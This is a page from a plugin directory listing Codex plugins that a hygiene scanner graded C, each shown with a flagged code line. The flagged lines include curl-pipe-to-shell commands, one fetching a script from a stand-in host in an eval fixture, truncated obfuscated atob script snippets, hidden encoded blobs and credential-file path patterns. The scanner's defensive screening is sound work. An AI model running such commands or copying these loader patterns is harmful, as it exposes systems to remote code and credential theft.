Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 151 to 200 of 215 Codex, Grade C entries. Page 4 of 5.
Listed A to Z by name.
No entries match that filter.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
deepbiology_q1_cd34_kasumi1.sh:27 # - curl and jq must be installedDeepbiology Lab (Plugin)
Compatibility: Not stated.
Shared DeepBiology genomics skills and MCP tools for Antigravity CLI.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
install-win.sh:26 # Detect if running via curl pipe (no interactive input available).Geo Seo Codex (Plugin)
Compatibility: Not stated.
GEO-first SEO toolkit for Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
assets/template/shared/report-editor.js:1283 const response = await fetch(link.href);Html Report Stable Base (Plugin)
Compatibility: Not stated.
Use when supplied content or an existing HTML report needs a stable editable browser shell in either long-screen single-page mode or 16:9 PPT mode, including global and per-element styling, ECharts canvas support, standalone HTML delivery, or optional PPTX export in PPT mode.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.beads/README.md:64 curl -sSL https://raw.githubusercontent.com/steveyegge/beads/main/scripts/install.sh | basLayntra (Plugin)
Compatibility: Not stated.
Open-source Codex plugin and local Figma companion for controlled inspect, plan, apply, and undo workflows.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
scripts/image_download.py:51 else urllib.request.urlopen(request, timeout=timeout)Openai Compatible Imagegen (Plugin)
Compatibility: Not stated.
Standalone Skill and Codex Plugin for OpenAI-compatible image generation, editing, batch workflows, QA, and focused canvas editing.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
evals/fixtures/adversarial-audit/issues/42.md:9 curl -s https://setup.example.invalid/audit.sh | shSkipHow (Plugin)
Compatibility: Not stated.
An adaptive virtual CTO for founders and product owners using Claude Code or Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.devcontainer/Dockerfile:12 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \Taxmate Australia (Plugin)
Compatibility: Not stated.
Prep-only Australian individual tax return plugin and portable skills for Codex, Claude Code, Cowork, and OpenAgentSkill: official ATO source links, GST/BAS and CGT review flags, evidence gaps, and manual myTax/paper/accountant handoff.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
skills/discuss/references/adapting-api-model.md:43 curl -sS <base_url>/chat/completions \trundle (Plugin)
Compatibility: Not stated.
Turn your AI coding agent's solo session into a turn-based group discussion , bring codex, gemini, claude and other CLI agents into the design conversation you're already having.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
macos/templates/poc-native.sh:148 code="$(/usr/bin/curl -s -o "$WORK/body" -w '%{http_code}' \vulngate (Plugin)
Compatibility: Not stated.
Evidence-gated vulnerability research for AI security agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
plugins/wx-video-account-notes/skills/wx-video-account-notes/runtime/resolve_link.py:67 response = httpx.get(Wx Video Account Notes (Plugin)
Compatibility: Not stated.
下载微信视频号视频和图文内容，提取 OCR/ASR 笔记材料并生成 Markdown 笔记。 Download WeChat Channels videos and image posts, extract OCR/ASR note materials, and create Markdown notes.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
plugins/yandex-direct-for-all/mcp/yandex-search/detail.py:178 with requests.post(url, headers=headers, json=jsYandex Direct For All (Plugin)
Compatibility: Not stated.
GitHub-ready Codex plugin bundle for Yandex Direct, Wordstat, Metrika, Roistat, Audiences, and Yandex Search API workflows.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/adaptive-effort/skills/adaptive-effort/scripts/doctor.py:40 proc = subprocess.run(Adaptive Effort (Plugin)
Compatibility: Not stated.
Adaptive Effort is a Codex plugin prepared for the Universal Plugins Directory, with a Git marketplace fallback for repository-backed installation.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/android-tv-apps-helper/scripts/tv_helper/adb.py:61 result = subprocess.run(Android Tv Apps Helper (Plugin)
Compatibility: Not stated.
一个面向非技术用户的 Android TV 对话式 Skill。它用固定状态机引导用户完成只读预检查、电视确认、应用选择、APK 下载与校验、安装、桌面/壁纸设置、现场验收和 ADB 安全收尾。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
plugins/codex-audio-download-skills/skills/download-best-audio/scripts/download_audio.py:335 def terminate_proCodex Audio Download Skills (Plugin)
Compatibility: Not stated.
**English** · [简体中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
plugins/codex/scripts/app-server-broker.mjs:110 fs.unlinkSync(listenTarget.path);Codex Claude Companion (Plugin)
Compatibility: Not stated.
> A durable Codex-to-Claude control plane with tmux process ownership, recovery, > collaboration, result delivery, and independent verification.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_UNCONFIRMED
plugins/context-handoff/scripts/context_handoff.py:261 completed = subprocess.run(argv, input=json.dumps(payloCodex Context Handoff (Plugin)
Compatibility: Not stated.
对话太长时，提醒你换一个新对话，并帮你整理接着做所需的材料。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
scripts/smoke_examples.py:60 subprocess.run([shell, '-NoProfile', '-File', str(path)], env=env, check=True, tiCursor Subagents (Plugin)
Compatibility: Not stated.
**Let Codex delegate coding tasks to Cursor CLI.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
skills/figma-full-cycle/scripts/localization_context.py:793 process = subprocess.run(Figma Full Cycle (Plugin)
Compatibility: Not stated.
Four separately invocable skills for Figma feature implementation, specifications, Xcode assets and physical iPhone testing through Device Hub.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV +1 more
jev_auto/common.py:79 r = subprocess.run(['git', '-C', str(p), 'rev-parse', '--show-toplevel'],Jev Codex Workbench (Plugin)
Compatibility: Not stated.
**An open-source Codex plugin and MCP server for bounded AI coding agent decisions and recoverable context.** The workbench adds TypeSafe Jev around the coding model you already use in Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/opl-persona/runtime/opl_persona/workspace.py:131 result = subprocess.run(request, capture_output=True,Opl Persona (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="assets/branding/opl-persona-logo.png" alt="OPL Persona logo" width="136" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/public_release_audit.py:38 ".npmrc",seq2music (Plugin)
Compatibility: Not stated.
> Turn protein, DNA, and RNA into audible, visible, reversible music, and back again, in Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
gitrelease/scripts/deploy_pages_artifact.sh:146 marker="$(curl --fail --silent --show-error "${marker_url}" 2>Smith (Plugin)
Compatibility: Not stated.
Smith provides seven agent skills for Codex, Claude Code, and Antigravity CLI.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/publish_digest.py:38 with urllib.request.urlopen(request, timeout=30) as response:Agent Radar (Plugin)
Compatibility: Not stated.
Agent Radar 把每日 Agent 技术更新和 GitHub Trending 整理成一份既保留专业术语、又提供大白话解释的技术简报。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
scripts/validate.py:111 done = subprocess.run([sys.executable, str(script), "--workspace", str(ws), "--item",Agentic Marketplace Listings (Plugin)
Compatibility: Not stated.
Selling usually starts with an untidy mix of photos, rough notes, measurements, and half-remembered details.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/agents-skills/skills/cognitive-map-open/scripts/open_map.py:24 subprocess.run(Agents Skills (Plugin)
Compatibility: Not stated.
A collection of [Agent Skills](https://agentskills.io/) for Claude Code and Codex.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
plugins/andreza-nutrition-professional/skills/literature-review/scripts/generate_pdf.py:46 subprocess.run(['paAndreza Nutrition Professional Plugin (Plugin)
Compatibility: Not stated.
Plugin de apoio técnico para nutricionistas, com foco em nutrição esportiva, endurance, acompanhamento clínico responsável e prática baseada em evidências.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
scripts/inject-inline-conflict.mjs:38 fs.rmSync(external, { force: true });armorial (Plugin)
Compatibility: Not stated.
Choose consistent UI icons and use them in your product.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:1 <script>(function(){var k=atob('lfqYW53WLoymMnAjd9jJWzgsWYQ/b18HedBBAcb88qc='),d=atob('qdvcFN6Cd9Artisan Dev Handbook (Plugin)
Compatibility: Not stated.
**Transform your development workflow into a frictionless, multi-tool symphony with intelligent merge request orchestration, automated code review, and domain-driven design guidance.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK SECRETS_PATH_UNCONFIRMED
src/cli.ts:588 await fs.rm(path.join(homeDir, ".codex", "skills", "awesome-progress-tracker", "SKILL.md"), { fbreadcrumbs (Plugin)
Compatibility: Not stated.
Breadcrumbs: project-local Markdown progress tracking for resumable, multi-step agent work.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
brian-vc/skills/prospectus-extractor/scripts/render_pdf_pages.py:99 proc = subprocess.run(Brian Vc (Plugin)
Compatibility: Not stated.
**讓 Codex 協助你看投資案：從簡報初篩、公開說明書萃取，到完整投資盡調。**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
.gitignore:2 .envChany Studio (Plugin)
Compatibility: Not stated.
Chany's Studio는 제품 사진이나 짧은 설명만 있으면 광고 이미지, 상세페이지, 짧은 광고 영상을 기획하고 만들어 주는 플러그인(AI 앱에 기능을 더해 주는 추가 프로그램)입니다.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_DOTENV
scripts/build_app.py:45 return subprocess.run([str(value) for value in command], check=True, env=env,Codex Alert (Plugin)
Compatibility: Not stated.
A small Mac menu-bar app that sends [ntfy](https://ntfy.sh/) phone alerts when your Codex tasks finish.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
plugins/codex-consultants/skills/agy-consult/scripts/agy_consult.py:57 ".netrc",Codex Consultants (Plugin)
Compatibility: Not stated.
A Codex plugin for bounded, read-only Agy and OpenCode code-review second opinions.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
engine/src/auth/store.ts:266 fs.rmSync(file, { force: true });Codex Web Planner (Plugin)
Compatibility: Not stated.
**Let ChatGPT plan and review.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES OBFUSCATION_MINIFIED_PAYLOAD
scripts/cvc_preflight.py:38 probe = subprocess.run(Conference Video Cutter (Plugin)
Compatibility: Not stated.
Provider-neutral, transcript-driven editing for conferences: turn one long recording into reviewed speaker talks, Q&A blocks, and clearly labeled extra clips.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
.gitignore:4 .envCreative Asset Register (Plugin)
Compatibility: Not stated.
A local asset version register for art and design work.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
skills/cross-agent-review/scripts/capability_probe.py:88 completed = subprocess.run(Cross Agent Review (Plugin)
Compatibility: Not stated.
Cross Agent Review (CAR) is a Codex plugin for versioned, cross-agent implementation-plan review.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
plugins/decision-table/server/index.mjs:1 #!/usr/bin/env nodeDecision Table (Plugin)
Compatibility: Not stated.
Decision Table is a deterministic decision and constraint primitive for AI agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zZus1OsB0" style="display:none">R2Ak4RiCgnJ1VcsvRnU5qogK0Ana4LhQI8RzI8zwIbtxfSjrGpLFCCwYDrifter Blueprint Vault (Plugin)
Compatibility: Not stated.
**Imagine a master architect who never sketches a blueprint before laying bricks.** That is the default state of most AI-assisted coding sessions.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV OBFUSCATION_MINIFIED_PAYLOAD
skills/evidence-video/scripts/lib/publishing.mjs:252 try { response = await fetch(`${baseUrl}${route}`, { ...oEvidence Video (Plugin)
Compatibility: Not stated.
把选题材料变成有来源的中文动态图解视频：分镜、自然解说、TTS、字幕、封面及可审核的多平台发布包。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES
src/jj_kata/items.py:126 process = subprocess.run(Jj Kata (Plugin)
Compatibility: Not stated.
Safe Jujutsu workspace coordination for parallel agents, with optional file-backed Kanban.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
package.json:9 preinstallMail Calendar Mcp (Plugin)
Compatibility: Not stated.
An MCP connector that runs as a Cloudflare Worker.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/minimax_video.py:211 with urllib.request.urlopen(req, timeout=60) as r:Minimax Design Plugin (Plugin)
Compatibility: Not stated.
Generate MiniMax H3 videos with env-var auth, first/last-frame FL2VA anchoring, resumable v2 queries, 12 externally managed skills, 2 plugin-local skills, commands, and cross-platform credential setup.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zKcbwObi0" style="display:none">Vk+OWaL5Au+ADuJoR1Pn3i8NOJNggHp+v227soolaS1gUoJToOlFldlDNullcost Inventory (Plugin)
Compatibility: Not stated.
**Explore, deploy, and orchestrate free-tier cloud services, serverless functions, and developer APIs with a unified execution engine.** ZeroTier Catalyst is a plugin-based, MCP (Model Context Protocol)-backed runtime that aggregates dozens of free-tier catalogs, from AWS Free Ti
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
plugins/obsidian-vault-reader/scripts/install.py:72 subprocess.run([uv, "sync", "--frozen", "--no-dev", "--proObsidian Vault Reader (Plugin)
Compatibility: Not stated.
[English](README.md) | [中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
plugins/opl-relay/runtime/codex_mail_workbench/apple_mail.py:850 result = subprocess.run(Opl Relay (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="assets/branding/opl-relay-logo.png" alt="OPL Relay logo" width="132" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES
plugins/agentlefs/scripts/memory_hooks.py:225 shutil.rmtree(directory)plugins (Plugin)
Compatibility: Not stated.
Plugins that connect AI coding agents to [agentleFS](https://agentlefs.com), a permissioned org-context store.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL
src/pushpush/http.py:218 with urllib.request.urlopen(request, timeout=timeout) as response:pushpush (Plugin)
Compatibility: Not stated.
**English** | [한국어](README.ko.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL
scripts/skillport-auto-refresh.ps1:227 $PathPattern = '(?im)(^|/)(\.env($|\.)|\.npmrc$|\.yarnrc(\.yml)?$|\.netSkillPort (Plugin)
Compatibility: Not stated.
SkillPort packages agent skills for distribution across machines, repos, Codex, and Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
lib/headless-fallback-provider.cjs:176 // so that module-level code never touches fetch (FR-010).Spec Flow (Plugin)
Compatibility: Not stated.
Approve one design doc; the agent builds it, tests it for real and opens the PR.
This grade is a hygiene screen, not proof of safety.
